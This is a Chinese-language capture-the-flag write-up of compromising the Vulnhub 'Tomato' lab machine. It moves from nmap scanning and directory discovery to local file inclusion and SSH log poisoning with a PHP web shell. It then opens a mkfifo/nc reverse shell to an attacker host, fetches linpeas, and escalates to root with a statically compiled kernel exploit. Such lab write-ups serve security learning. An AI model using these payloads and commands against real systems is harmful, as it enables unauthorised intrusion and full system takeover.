打靶记录(三四)之VulnhubTomato
主机发现
sudo nmap -sn 192.168.162.0/24 |
端口扫描
sudo nmap --min-rate 10000 -p- 192.168.162.142 |
sudo nmap -sT -sV -sC -O -p21,80,2211,8888 192.168.162.142 |
ftp并不能匿名登录
web
80端口根目录只有一张图。8888端口页面没有凭证,看似走投无路了。一开始用directory-list-2.3-medium.txt字典扫不出什么东西,后来用seclists/Discovery/Web-Content/common.txt字典扫出来一个/antibot_image。发现靶机中的扫目录这两个字典够用了233
只有info.php可以查看到内容,源代码里面提示可以传参。发现有本地文件包含。想到之前的打过文件包含来日志中毒apache日志,但是发现包含不到。。。
看Wp是中毒ssh的日志
发现确实是可以包含到。端口扫描可以得知2211端口是ssh服务。我们可以ssh连接来写入一句话木马
ssh连接来写入日志,密码随便输
ssh '<?php system($_GET['test']);?>'@192.168.162.142 -p 2211 |
发现确实是执行了我们的命令
来建立反弹shell:本地开启一个服务器,并开启监听
http://192.168.162.142/antibot_image/antibots/info.php?image=../../../../../../../../../../../../../../../../var/log/auth.log&test=wget%20http://192.168.162.128/reverseshell.php |
ls后发现没有这个文件,换成curl命令也没用。也许这台机器没有安装这两个命令。
在burp里面抓包改吧,直接在url里面添加好像因为编码问题有些命令没有执行。
编码前:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.162.128 1234 >/tmp/f |
推荐一个生成反弹shell的网站
https://weibell.github.io/reverse-shell-generator/
提权
大概率要横向移动到tomato这个用户
然而找了一圈都没有找到可以横向移动的凭证
切换到/tmp目录
wget http://192.168.162.128/linpeas.sh -O /tmp/linpeas.sh |
上传linpeas
chmod +x linpeas.sh |
./linpeas.sh |
提示了这个内核版本可能有些问题
试试看脏牛
https://github.com/firefart/dirtycow/blob/master/dirty.c
发现这台机器连gcc命令都没有,那就在kali中编译好上传
发现也不行,貌似库的版本不一致,阿哲
试了好几个都提示版本不匹配
咨询了一下gpt,看来不是exp的问题,是GLIBC 版本的原因(这块还不太懂)
可以使用静态编译的方式将版本嵌入到可执行文件
最后我尝试了
https://www.exploit-db.com/download/45010
在kali编译
gcc -static -o 45010 45010.c |
上传后给予权限然后运行,成功提权
碎碎念
怎么说呢,看似简单其实又不太简单。日志中毒虽然之前做过中毒apache的,这次了解了ssh日志(虽然实际还挺少见的)中毒还行。然后还有一个麻烦点就是内核提权对于exp的选择还有编译,了解了静态编译也算是一个收获。